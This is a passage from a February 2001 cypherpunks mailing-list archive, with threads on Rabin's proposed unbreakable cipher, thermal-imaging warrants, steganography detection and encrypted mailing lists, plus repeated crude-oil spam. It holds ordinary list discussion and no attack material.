a solution here would be to have the random numbers broadcasted over the
very medium which is used to transport the messages, much like the
cycling in your PC. practical problems of a wide-area useage of this
aside, it would only make it even easier for eve to decrypt the message,
since she receives the key right alongside it. in other words: the whole
encryption business would be a trivial waste of computing power.



if that's not enough:

e) the central source of randomness is sure to be a major target of any
attacker. just by replacing the randomness with a seemingly-random
function that you can easily recreate, eve would save tremendous amounts
of storage space while lulling everyone in the impression of having an
"unbreakable" cipher.




From sunder at sunder.net  Tue Feb 20 09:06:54 2001
From: sunder at sunder.net (Sunder)
Date: Tue, 20 Feb 2001 12:06:54 -0500
Subject: Is a Thermal Imaging search needful of a warrant?
References: <Pine.LNX.3.96.1010220071905.5925W-100000@einstein.ssz.com>
Message-ID: <3A92A42E.4B9C65B4@sunder.net>


Jim Choate wrote:
> 
> Diffie should stick to cryto, outside of that he's an idiot and doesn't
> know of what he speaks. Hell, all those socialists at Sun seem to be idiot
> savants.

And what should you stick to?
 
> If it was only a thermal imaging device involved it might fly (like a bird
> can cross your property line with impunity). 

And what says that I can't shoot down a bird that flies over my property
provided my property is large enough to prevent me shooting bullets through
the neighbors' windows?

> However, all the thermal
> image device does is frequency shift the radiation to a range that IS
> VISIBLE BY HUMAN EYES. It's still a human being looking at the image and
> making evaluations of it.

Does it?  Yes.  Does it allow the user to see through blinds?  Yes.  Does it
allow the user to see through some kinds of walls? Yes.  Wait, what was that
first word there again?  You know "blinds?"  The word implies something.

Reasonable expectation of privacy in your home.  Seeing through said blinds
violates this.

Is inserting a listening device in your home illegal?  Yes, if you're not
the owner, yes, if you're not a LEO with a warrant.  Is listening to the
vibrations of a metal object inside said house using microwaves?  Yes,
ditto.  Is bouncing a laser off a window? Yes.

Indeed the technology used doesn't matter.  The frequency doesn't matter.
Violating the reasonable expectation of privacy does.  i.e. if you can't
hear it as you're passing by without additional help, if you can't see it
as you're passing the house without additional help, reasonable privacy
applies. 

Some may even argue that if you're outside someone's house and see
something happening inside the house is okay, but videotaping it and
broadcasting/selling it might not be.  YMMV...  - i.e. your neighbors
are doing it infront of the window, and you videotape it.  Selling it
might violate some laws depending on your city/state.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From jchoate at dev.tivoli.com  Tue Feb 20 10:24:07 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 20 Feb 2001 12:24:07 -0600
Subject: 100-Year Life Expectancy? Chances Called Slim To Nil
Message-ID: <3A92B647.AFFC4A19@dev.tivoli.com>



What's interesting is the caveat to the general conclusion...

http://unisci.com/stories/20011/0220015.htm

-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From jchoate at dev.tivoli.com  Tue Feb 20 10:31:17 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 20 Feb 2001 12:31:17 -0600
Subject: Scientific American: Reviews: Who Owns Your Body?: March 2001
Message-ID: <3A92B7F5.61F90011@dev.tivoli.com>


http://www.sciam.com/2001/0301issue/0301reviews1.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From sunder at sunder.net  Tue Feb 20 09:32:32 2001
From: sunder at sunder.net (Sunder)
Date: Tue, 20 Feb 2001 12:32:32 -0500
Subject: NSA, Pentagon, police fund research into steganography 
 detection
References: <20010220111323.D2575@cluebot.com>
Message-ID: <3A92AA30.884DF65E@sunder.net>


Declan McCullagh wrote:
> 
>    The surprising news, according to Johnson and other researchers:
>    Current stego programs don't work well at all. Nearly all leave behind
>    fingerprints that tip off a careful observer that something unusual is
>    going on.

So now the question becomes which stego programs don't leave fingerprints.

Should they wish to block stego they might have in mind setting up gateways
that twiddle with the low level bits to prevent the message getting through,
but that opens up lots of cans of worms for them.

This is exceedingly difficult because your router now has to try and detect,
recognize, and edit images, sounds, movies and other media on the fly.  Of
course it will set off signatures if they're used.  A user might create a
bullshit hotmail account and send a picture to himself then compare the
two, etc... so it would have to be done at the legal level, which for us
USA folks would bring in freedom of speech issues.  For China or Singapore
where there's the big firewall, it's not an issue.

That leaves only detection open.  Which doesn't provide the actual info
stored in the stegoed message.  Just flags it as "hey this guy is hiding
something."  Might be enough in some countries to cause the death of the
sender and/or receiver.  Here, I suppose it's a reason to have them
watched closer.

>From their point of view, I suspect they'd be worried about stegoed
messages leaving from .mil addresses as this would likely indicate the
sender is a traitor.  i.e. like the Fed that got caught recently spying
for the Russians.

-- 
----------------------Kaos-Keraunos-Kybernetos---------------------------
 + ^ + :Surveillance cameras|Passwords are like underwear. You don't /|\
  \|/  :aren't security.  A |share them, you don't hang them on your/\|/\
<--*-->:camera won't stop a |monitor, or under your keyboard, you   \/|\/
  /|\  :masked killer, but  |don't email them, or put them on a web  \|/
 + v + :will violate privacy|site, and you must change them very often.
--------_sunder_ at _sunder_._net_------- http://www.sunder.net ------------




From jchoate at dev.tivoli.com  Tue Feb 20 10:41:16 2001
From: jchoate at dev.tivoli.com (Jim Choate)
Date: Tue, 20 Feb 2001 12:41:16 -0600
Subject: Scientific American: Feature Article: To Protect and Self-Serve: March 
 2001
Message-ID: <3A92BA4C.23BEADBB@dev.tivoli.com>


http://www.sciam.com/2001/0301issue/0301cyber.html
-- 
   The Laws of Serendipity:

   1. In order to discover anything, you must be looking
      for something.

   2. If you wish to make an improved product, you must
      first be engaged in making an inferior one.  

   Tivoli Certification Group, OSCT
   James Choate                           jchoate at tivoli.com
   Senior Engineer                        512-436-1062




From decoy at iki.fi  Tue Feb 20 03:01:12 2001
From: decoy at iki.fi (Sampo Syreeni)
Date: Tue, 20 Feb 2001 13:01:12 +0200 (EET)
Subject: Hi friends :)
In-Reply-To: <003a01c099e4$261e7f60$6975e5a9@Reshall.berkeley.edu>
Message-ID: <Pine.SOL.4.30.0102201258310.27037-100000@kruuna.Helsinki.FI>


On Sun, 18 Feb 2001, atek3 wrote:

>"cute boy"
>first of all this is a mailing list for "cypherpunks" not  "pedophiles"

Besides, what on earth does 22 have to do with cute? Especially if the guy
has absolutely *anything* to do with cpunks. OTOH, he doesn't seem to.

Sampo Syreeni <decoy at iki.fi>, aka decoy, student/math/Helsinki university




From pmilea at oo.net  Tue Feb 20 13:23:52 2001
From: pmilea at oo.net (pmilea at oo.net)
Date: Tue, 20 Feb 2001 13:23:52 -0800 (PST)
Subject: Crude Oil Processing Agreement needed immediately ! Crude Oil Sales !
Message-ID: <200102202123.NAA25962@toad.com>


If you have received this in error or no longer wish to receive our offers, please click here pmilea at oo.net and mark REMOVE  in your message header subject line.
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Dear Sir or Madam,
	We are interested in establishing an ongoing working relationship with Oil Refineries with capacities to process 10,000,000 barrels of Crude Oil ,immediately. The oil we need to process is Basra light, Phase 9 and phase 10 . Location of the Refineries can be Europe, Middle East, Far East or U.S.A. We have a number of clients that could use this type of agreement. 
	We also have Crude Oil for sale to END USERS ONLY. If you are interested in offering a processing agreement or purchase of Crude oil ,please contact us for detailed information. Buyers or their authorized mandates only need contatct us .

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Wing N' A Prayer Excess Property
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cell (315) 374-1560
fax (315) 463-4337


From rsalz at caveosystems.com  Tue Feb 20 10:25:05 2001
From: rsalz at caveosystems.com (Rich Salz)
Date: Tue, 20 Feb 2001 13:25:05 -0500
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <3337136558.982589680@[10.0.0.5]> <14994.34929.329047.610019@gargle.gargle.HOWL>
Message-ID: <3A92B681.89C9AF5@caveosystems.com>

Why not a web-based email/discussion forum over SSL?
Or does "encrypted traffic" mean you want it encrypted as it sits around
in various places, and not just while it's in-transit.
	/r$




From pmilea at oo.net  Tue Feb 20 13:26:40 2001
From: pmilea at oo.net (pmilea at oo.net)
Date: Tue, 20 Feb 2001 13:26:40 -0800 (PST)
Subject: Crude Oil Processing Agreement needed immediately ! Crude Oil Sales !
Message-ID: <200102202126.NAA01902@cyberpass.net>


If you have received this in error or no longer wish to receive our offers, please click here pmilea at oo.net and mark REMOVE  in your message header subject line.
Also be sure to include any other name or names you wish to be removed in a separate email with a different message header .

We  wish to immediately honor all removal requests. If we have missed your request in time past ,please notify us again.

Please note that this is not SPAM. You've sent me an offer, answered one of my ads or postings lately , or you visited a site that was involved in the product I am offering .

To be removed from my private mailing list follow the instructions as mentioned or just hit the reply button and put REMOVE in the subject line and hit send .I would be happy to remove your name from any future mailings.


Dear Sir or Madam,
	We are interested in establishing an ongoing working relationship with Oil Refineries with capacities to process 10,000,000 barrels of Crude Oil ,immediately. The oil we need to process is Basra light, Phase 9 and phase 10 . Location of the Refineries can be Europe, Middle East, Far East or U.S.A. We have a number of clients that could use this type of agreement. 
	We also have Crude Oil for sale to END USERS ONLY. If you are interested in offering a processing agreement or purchase of Crude oil ,please contact us for detailed information. Buyers or their authorized mandates only need contatct us .

Thank you,
Paul J. Milea jr 
Wing N' A Prayer Excess Property
3504 James Street
Syracuse,New York ,USA 13206

cell (315) 374-1560
fax (315) 463-4337


From George at Orwellian.Org  Tue Feb 20 10:27:02 2001
From: George at Orwellian.Org (George at Orwellian.Org)
Date: Tue, 20 Feb 2001 13:27:02 -0500 (EST)
Subject: Is a Thermal Imaging search needful of a warrant?
Message-ID: <200102201827.NAA27637@www1.aa.psiweb.com>


Chaos Universe wrote:
#    If it was only a thermal imaging device involved it might fly (like a bird
#    can cross your property line with impunity). However, all the thermal
#    image device does is frequency shift the radiation to a range that IS
#    VISIBLE BY HUMAN EYES. It's still a human being looking at the image and
#    making evaluations of it.
#    
#    Further, I'd like to see the definition of 'search' that is 
#    dependent upon the mechanism, there is no such definition. 
#    'Search' is about intent, not method. 'Mechanism' is certainly 
#    NEVER mentioned in the 4th. Where did this extra stricture come 
#    from? Where is it's justification?
#    
#    "Why" and "How" are irrelevent in respect to a search. That one 
#    WANTS is sufficient.

It used to be one had to go into a house to search it.

That takes a search warrant.

Now, technology means you can view things from outside
the home that you previously needed a warrant for.

Thus, this too should need a warrant.

What is the relationship between 'search' and mechanism?
Reread the "Then the Supreme Court ruled" part of my
previous post.

----

#    
#    And, no. I'm no 'leftie'.

Hard to believe, considering your main concern was frequencies
and not privacy. You even admit the information is NOT visible
by human eyes without the hardware.

As far as I'm concerned you've outed yourself
as an alien species, just visiting this planet.

NANU-NANU.




From declan at well.com  Tue Feb 20 10:35:09 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 20 Feb 2001 13:35:09 -0500
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <3.0.6.32.20010219211914.00892410@pop.sprynet.com>; from honig@sprynet.com on Mon, Feb 19, 2001 at 09:19:14PM -0800
References: <200102200014.TAA08311@www6.aa.psiweb.com> <Pine.LNX.3.96.1010219182902.5925N-100000@einstein.ssz.com> <3.0.6.32.20010219211914.00892410@pop.sprynet.com>
Message-ID: <20010220133509.A8610@cluebot.com>


see the Supreme Court oral arguments on this today... --Declan


On Mon, Feb 19, 2001 at 09:19:14PM -0800, David Honig wrote:
> At 06:29 PM 2/19/01 -0600, Jim Choate wrote:
> >
> >Is a visible light search needful of a warrant? If so then why is the
> >frequency of the radiation an issue?
> 
> Because the law has a notion of 'reasonable expectation'.
> 
> 
> .......
> "What company did you say you were from, Mr. Hewlett?"
> ---Walt Disney to Bill Hewlett eetimes 22.01.01 p 32
> 
>  
> 
> 
> 
> 
> 
> 
>   
> 
> 
> 
> 




From auto105391 at hushmail.com  Tue Feb 20 10:50:21 2001
From: auto105391 at hushmail.com (auto105391 at hushmail.com)
Date: Tue, 20 Feb 2001 13:50:21 -0500 (EST)
Subject: Rightwing conspiracy (was: Re: Is a Thermal Imaging search needful of a warrant? )
Message-ID: <200102201900.LAA06135@user7.hushmail.com>

>#    
>#    And, no. I'm no 'leftie'.
>
>Hard to believe, considering your main concern was frequencies
>and not privacy. You even admit the information is NOT visible
>by human eyes without the hardware.

Hey, 
He's not one of us.  Your adroit comments are terribly gauche, and might 
even have a sinister intent.
While Choate may not be dexterous, he is doubtless a Dexter.

Thank You,
The Lefties

From francois.xavier.bodin at winealley.com  Tue Feb 20 04:52:00 2001
From: francois.xavier.bodin at winealley.com (francois.xavier.bodin at winealley.com)
Date: Tue, 20 Feb 2001 13:52 +0100
Subject: Following our mailing sent Friday, 17 November 2000
Message-ID: <200102201255.EAA03449@cyberpass.net>


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From bking at point2.com  Tue Feb 20 11:58:26 2001
From: bking at point2.com (Brendan King)
Date: Tue, 20 Feb 2001 13:58:26 -0600
Subject: I saw your posting
Message-ID: <20010220195826743.AAA235@mailsafe.point2.com>



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From bear at sonic.net  Tue Feb 20 14:31:05 2001
From: bear at sonic.net (Ray Dillinger)
Date: Tue, 20 Feb 2001 14:31:05 -0800 (PST)
Subject: The Key Vanishes: Scientist Outlines Unbreakable Code
In-Reply-To: <3A924E5B.F5EA8CCA@ricardo.de>
Message-ID: <Pine.LNX.4.21.0102201350001.24080-100000@bolt.sonic.net>




On Tue, 20 Feb 2001, Tom wrote:

>essentially, a one-time-pad with a central source of randomness, the key
>being the point in the random-number-stream that you start with.

Not quite.  The point which you start with in the random number 
stream is one of the keys, but the system he describes also includes 
another, which is used to encrypt the random number stream prior 
to the OTP's XOR operation. 

The rest of your post, I agree with. 

First, your orbital 
random number server can only be put there by someone with 
enough bucks to launch a rocket -- whom you have to trust 
implicitly. None of the twenty or thirty people whom I 
trust implicitly has that much money.  Heck, I don't even 
think I personally *know* anyone who has that much money.

What if it was just a few dozen Blum-Blum-Shub generators 
up there spewing all those bits?  We'd never see the 
difference, but a data thief who was "in the know" about 
how they were keyed could recreate any sequence at any time.  

The basic problem is the problem you always get with systems 
that have a "trusted server" sitting in the middle -- can you 
really trust that server?  Can you inspect it, and inspect 
the code it's running, personally?  Can you verify that the 
thing you were allowed to inspect is the same as the thing 
that you're trusting?

I don't see any government, or for that matter any criminal 
organization, with a significant investment in SigInt allowing 
such a launch to go up untampered if they could possibly 
prevent it. 

And we already have systems with barriers of ridiculous levels 
of computer hardware - proofs of the security of a cipher which 
rest on the assumption that the opponent has storage capacity 
limited to less than some finite value are no more nor less 
valid than proofs of the security of a cipher which rest on 
the assumption that the opponent has CPU capacity limited to 
less than some finite value.  The only value of this system, 
assuming you get random numbers you can trust, is that the 
opponent has to have the large storage capacity NOW - when we 
know how hard it would be to have it - rather than at some 
vague point in the future, where moore's law has had time to 
work its wonders. 

Finally, this system doesn't protect storage.  It protects 
communications, and communications only.  Think about it.  If 
you protect storage, you have to have the bits from the OTP 
around somewhere to decrypt it.  If you have the bits from the 
OTP around somewhere, you no longer have an unbreakable cipher.

				Bear







From jfanonymous at yahoo.com  Tue Feb 20 14:40:49 2001
From: jfanonymous at yahoo.com (J.F. Anonymous)
Date: Tue, 20 Feb 2001 14:40:49 -0800 (PST)
Subject: Secure your E-mail with your Trial Digital ID
In-Reply-To: <200102200922.BAA27898@toad.com>
Message-ID: <20010220224049.50707.qmail@web5409.mail.yahoo.com>


Ummm, I think this was sent to all the cypherpunks,
so...

WE USE PGP!!!! WE DON'T BELIEVE (most of us) IN A
CENTERIALIZED KEY AUTHORITY!!! ESPECIALLY SINCE YOU
HOLD OUR KEYS!!!

Sorry. I would PGP sign this, but I keep my PGP key on
a seperate computer to prevent thieft.


--- VeriSign Customer Support Department
<id-support at verisign.com> wrote:
> Dear VeriSign Digital ID Holder:
> 
> Thank you for obtaining a 60-Day Trial Digital ID
> from VeriSign!  With the recent introduction of
> secure e-mail capabilities in Netscape's Messenger
> (the e-mail application in Communicator) and several
> other popular e-mail packages, your Digital ID
> provides you with the ability to digitally encrypt
> and sign your messages to ensure security over the
> Internet. 
> 
> To learn more about using your Digital ID to secure
> your e-mail messages, please visit our Secure E-Mail
> Reference Guide at
> http://www.verisign.com/securemail/guide.  This
> guide gives simple, step-by-step instructions on how
> to get started.
> 
> Thanks again for choosing VeriSign! We look forward
> to serving your future electronic commerce and
> communications needs.
> 
> VeriSign Customer Support Dept.
> ID-support at verisign.com


=====
jfanonymous at yahoo.com
ICQ# 81118154
My website:
http://www.geocities.com/jfanonymous/
Join the Blue Ribbon Online Free Speech Campaign at
http://www.eff.org/blueribbon.html Help us fight censorship!

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/




From pablos at shmoo.com  Tue Feb 20 14:44:26 2001
From: pablos at shmoo.com (Paul Holman)
Date: Tue, 20 Feb 2001 14:44:26 -0800
Subject: Rabin's "Unbreakable Code" Paper
Message-ID: <1416616.982680266@[10.0.5.250]>


Can somebody send me the paper on this?  The information in the NYTimes 
article is insufficient to even begin sizing it up.

<http://www.nytimes.com/2001/02/20/science/20CODE.html>

Thanks, pablos.

-- 
Paul Holman
Special Agent
The Shmoo Group
<http://shmoo.com/>
pablos at shmoo.com
<http://shmoo.com/~pablos/>
PGP fingerprint: CFBF CC8D 7BC8 FDE3 74BD
                 9DB0 88E6 B201 3F5A B569




From pmilea at oo.net  Tue Feb 20 13:23:58 2001
From: pmilea at oo.net (pmilea at oo.net)
Date: Tue, 20 Feb 2001 15:23:58 -0600
Subject: Crude Oil Processing Agreement needed immediately ! Crude Oil Sales !
Message-ID: <200102202123.f1KLNqs02444@ak47.algebra.com>


If you have received this in error or no longer wish to receive our offers, please click here pmilea at oo.net and mark REMOVE  in your message header subject line.
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We  wish to immediately honor all removal requests. If we have missed your request in time past ,please notify us again.

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To be removed from my private mailing list follow the instructions as mentioned or just hit the reply button and put REMOVE in the subject line and hit send .I would be happy to remove your name from any future mailings.


Dear Sir or Madam,
	We are interested in establishing an ongoing working relationship with Oil Refineries with capacities to process 10,000,000 barrels of Crude Oil ,immediately. The oil we need to process is Basra light, Phase 9 and phase 10 . Location of the Refineries can be Europe, Middle East, Far East or U.S.A. We have a number of clients that could use this type of agreement. 
	We also have Crude Oil for sale to END USERS ONLY. If you are interested in offering a processing agreement or purchase of Crude oil ,please contact us for detailed information. Buyers or their authorized mandates only need contatct us .

Thank you,
Paul J. Milea jr 
Wing N' A Prayer Excess Property
3504 James Street
Syracuse,New York ,USA 13206

cell (315) 374-1560
fax (315) 463-4337


From ravage at einstein.ssz.com  Tue Feb 20 13:29:30 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 15:29:30 -0600 (CST)
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <3A92A42E.4B9C65B4@sunder.net>
Message-ID: <Pine.LNX.3.96.1010220152713.5925k-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Sunder wrote:

> > If it was only a thermal imaging device involved it might fly (like a bird
> > can cross your property line with impunity). 
> 
> And what says that I can't shoot down a bird that flies over my property
> provided my property is large enough to prevent me shooting bullets through
> the neighbors' windows?

Well that depends on the sort of bird and where your property is.
 
> > However, all the thermal
> > image device does is frequency shift the radiation to a range that IS
> > VISIBLE BY HUMAN EYES. It's still a human being looking at the image and
> > making evaluations of it.
> 
> Does it?  Yes.  Does it allow the user to see through blinds?  Yes.  Does it
> allow the user to see through some kinds of walls? Yes.  Wait, what was that
> first word there again?  You know "blinds?"  The word implies something.

Yeah, a clear invasion of privacy without probably cause to 'unlock' or
remove those blinds.

> Reasonable expectation of privacy in your home.  Seeing through said blinds
> violates this.

The term 'reasonable expectation' does not appear in the Constitution and
most certainly doesn't appear in the 4th. Read the 10th for a better
description of what that means.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From Steve.Jessup at eacemr.com  Tue Feb 20 13:30:35 2001
From: Steve.Jessup at eacemr.com (Jessup, Steve [DAC/ELG])
Date: Tue, 20 Feb 2001 15:30:35 -0600
Subject: HP Printer
Message-ID: <4791D8A992A2D31191FA009027D0CF28019BF610@MXS-DAC-ELG>


	How much do you want for you HP2563A printer. I needs to have the HP
26067B Serial Interface.




From pmilea at oo.net  Tue Feb 20 13:34:31 2001
From: pmilea at oo.net (pmilea at oo.net)
Date: Tue, 20 Feb 2001 15:34:31 -0600
Subject: Crude Oil Processing Agreement needed immediately ! Crude Oil Sales !
Message-ID: <200102202134.PAA29451@einstein.ssz.com>


If you have received this in error or no longer wish to receive our offers, please click here pmilea at oo.net and mark REMOVE  in your message header subject line.
Also be sure to include any other name or names you wish to be removed in a separate email with a different message header .

We  wish to immediately honor all removal requests. If we have missed your request in time past ,please notify us again.

Please note that this is not SPAM. You've sent me an offer, answered one of my ads or postings lately , or you visited a site that was involved in the product I am offering .

To be removed from my private mailing list follow the instructions as mentioned or just hit the reply button and put REMOVE in the subject line and hit send .I would be happy to remove your name from any future mailings.


Dear Sir or Madam,
	We are interested in establishing an ongoing working relationship with Oil Refineries with capacities to process 10,000,000 barrels of Crude Oil ,immediately. The oil we need to process is Basra light, Phase 9 and phase 10 . Location of the Refineries can be Europe, Middle East, Far East or U.S.A. We have a number of clients that could use this type of agreement. 
	We also have Crude Oil for sale to END USERS ONLY. If you are interested in offering a processing agreement or purchase of Crude oil ,please contact us for detailed information. Buyers or their authorized mandates only need contatct us .

Thank you,
Paul J. Milea jr 
Wing N' A Prayer Excess Property
3504 James Street
Syracuse,New York ,USA 13206

cell (315) 374-1560
fax (315) 463-4337


From bking at point2.com  Tue Feb 20 13:35:41 2001
From: bking at point2.com (Brendan King)
Date: Tue, 20 Feb 2001 15:35:41 -0600
Subject: I saw your posting
Message-ID: <20010220213541052.AAA237@mailsafe.point2.com>



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I hope you can take advantage of our services.  If you have any questions please feel free to contact me.
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306.955.1855

 




From declan at well.com  Tue Feb 20 12:51:22 2001
From: declan at well.com (Declan McCullagh)
Date: Tue, 20 Feb 2001 15:51:22 -0500
Subject: Phil Zimmermann leaves NSI, says PGP source should be published
Message-ID: <5.0.2.1.0.20010220155110.01ffbec0@mail.well.com>


(The Subject: line was, of course, a typo. NAI!=NSI.)




From ravage at einstein.ssz.com  Tue Feb 20 14:01:01 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:01:01 -0600 (CST)
Subject: [Re: [Re: [Sovereignty v. global justice [was... Mohammed gets Miranda]]]]
In-Reply-To: <20010220195039.1924.qmail@nwcst267.netaddress.usa.net>
Message-ID: <Pine.LNX.3.96.1010220155227.5925n-100000@einstein.ssz.com>



On 20 Feb 2001, LUIS VILDOSOLA wrote:

> I agree with your response to the first question,

Ok, we're in sync.

> the next two questions are absurd questions suggesting

So you're saying the 2nd and 3rd question are absurd?

> a simple repudiation to them and by that means,
> a simple repudiation to a clear concept of property.

You believe a priori there is a 'clear' concept of property?

Do you own yourself (assume for a moment we ignore the DoI & Const.)?

Clearly the patent and property courts don't agree, I sent a forward on
this aspect earlier today. 

You believe that there is some definition of 'property' that all can agree
on? I'd like to understand what makes you believe this.
 
The best real world definition I have is something that allows a person to
make money. No other significant principle of weight seems to be involved.

> You interpreted the third question right.

Apparently not if you believe your last two questions are absurd. I
suspect this is a 'native language dispute' where what you mean and what
comes out isn't what I'm seeing. Can you possibly reword your second
question so I can hopefully understand your intent better? Assuming of
course it's worth your time.

> Jim Choate <ravage at EINSTEIN.ssz.com> wrote:
> > 
> > 
> > On 19 Feb 2001, LUIS VILDOSOLA wrote:
> > 
> > > Your response raises more questions for me Jim
> > 
> > And me as well :)
> > 
> > > like:
> > > -what is property?
> > 
> > A figment of human psychology. My dog certainly doesn't use the same
> > definition of 'property' that I do, so it's clearly not 'universal'.
> > 
> > > -how can I appropriate of the cleanest air this world has to offer?
> > 
> > I don't understand this question, poor wording.
> > 
> > I think you're asking how to make sure the world is a clean place. As long
> > as humans must live on the planet full time I doubt it'll ever happen.
> > Outside of resource issues and looking at the political/psychological
> > aspects, Two party (ie consumer/producer) systems are inherently unstable
> > (it's why nobody wants to answer the question "where does the market
> > stability come from in order to create the free market"). So the answer
> > would seem to be diversity (ie vote with your feet).
> > 
> > > -what property will give me quality of life and not take it from me?
> > 
> > I don't think property will give you that. The only measure of 'quality of
> > life' I've ever seen is 'security through freedom'.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------




From ravage at einstein.ssz.com  Tue Feb 20 14:13:54 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:13:54 -0600 (CST)
Subject: Is a Thermal Imaging search needful of a warrant?
In-Reply-To: <3A92E83E.C078B207@sunder.net>
Message-ID: <Pine.LNX.3.96.1010220160925.5925q-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Sunder wrote:

> Jim Choate wrote:
> > 
> > > And what says that I can't shoot down a bird that flies over my property
> > > provided my property is large enough to prevent me shooting bullets through
> > > the neighbors' windows?
> > 
> > Well that depends on the sort of bird and where your property is.
> 
> Non endangered generic duck for example.  Assume it's hunting season.

No, I'm not going to let you argue the general by picking a specific that
fist your argument.

You can't shoot at aircraft of any kind at any time, even model ones.

>  Now assume it's a radio controlled flying bot with a camera.  Can I
> shoot it down if it's flying over my land and I recognize it for the spook
> gear it really is?

No, you can't shoot at aircraft of any kind at any time that aren't yours.
Call the FAA on this one. If you're on your property and the air vehicle
is something like higher than 500ft you can't shoot it then either it's
no longer in 'private airspace' (look into the license free experimental
aircraft for the flight ceiling, it's been years since I did anything
like this.). I do experimental rocketry and one of the projects I wanted
to work on was a 'rocket wars' where two rockets tracked each other. When
I contacted the FAA they said they would not issue a waiver irrespective
of insurance issues.

A bird <> aircraft.

I'm quiting here 'cause you only get sillier.

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From ben at algroup.co.uk  Tue Feb 20 08:20:42 2001
From: ben at algroup.co.uk (Ben Laurie)
Date: Tue, 20 Feb 2001 16:20:42 +0000
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
References: <3337136558.982589680@[10.0.0.5]> <005401c09af6$041cc300$e4cf243f@josephas>
Message-ID: <3A92995A.45E60148@algroup.co.uk>

Joseph Ashwood wrote:
> 
> Well it's not an easy way, but it's a functional way. Take the code for GPG
> and the code for your favorite open-source list server, integrate them so
> that each mailing list has it's own GPG key, decrypts, reencrypts to the
> targets (individually so as to avoid having insane sizes for each message)
> sends, repeat. If you need higher speeds you can compromise of the encrypt
> to targets by choosing a key periodically, encrypting it to all the targets
> and holding it to be combined with the header.

Hmm. I'd imagine this would not be too horribly difficult to do with
ezmlm (since it already tend to break apart the various steps in the
process).

Cheers,

Ben.

--
http://www.apache-ssl.org/ben.html

"There is no limit to what a man can do or how far he can go if he
doesn't mind who gets the credit." - Robert Woodruff




From ravage at einstein.ssz.com  Tue Feb 20 14:22:02 2001
From: ravage at einstein.ssz.com (Jim Choate)
Date: Tue, 20 Feb 2001 16:22:02 -0600 (CST)
Subject: FAQ? how to set up a cross-platform encrypted mailing list/forum
In-Reply-To: <3433926447.982686469@[10.0.0.5]>
Message-ID: <Pine.LNX.3.96.1010220161929.5925z-100000@einstein.ssz.com>



On Tue, 20 Feb 2001, Rachel Willmer wrote:

> The problem I see with doing this, is that it doesn't stop someone 
> absent-mindedly sending out an unencrypted mail to the list server. Which 
> then will travel happily in the clear over the Internet to the list server, 
> (where it gets encrypted and sent back out again but its too late by then).

Then have it do a dictionary search on a text, have it randomly pick 10
'words' as delimited by spaces. Do a dictionary search, if they're there
it PROBABLY isn't encrypted.

> so I'm coming round to the idea that the only way to do this is via a 
> web-driven interface on a secure server.

So, how does swapping a http for a smtpd effect clear text submissions and
re-transmission (helping known text attacks)?

    ____________________________________________________________________

           Before a larger group can see the virtue of an idea, a
           smaller group must first understand it.

                                           "Stranger Suns"
                                           George Zebrowski

       The Armadillo Group       ,::////;::-.          James Choate
       Austin, Tx               /:'///// ``::>/|/      ravage at ssz.com
       www.ssz.com            .',  ||||    `/( e\      512-451-7087
                           -====~~mm-'`-```-mm --'-
    --------------------------------------------------------------------





From rachel at intertrader.com  Tue Feb 20 08:27:49 2001
From: rachel at intertrader.com (Rachel Willmer)
Date: Tue, 20 Feb 2001 16:27:49 +0000
Subject: FAQ? how to set up a cross-platform encrypted mailing
 list/forum
In-Reply-To: <3A92995A.45E60148@algroup.co.uk>
Message-ID: <3433926447.982686469@[10.0.0.5]>


The problem I see with doing this, is that it doesn't stop someone 
absent-mindedly sending out an unencrypted mail to the list server. Which 
then will travel happily in the clear over the Internet to the list server, 
(where it gets encrypted and sent back out again but its too late by then).

so I'm coming round to the idea that the only way to do this is via a 
web-driven interface on a secure server.

ugh.

rachel

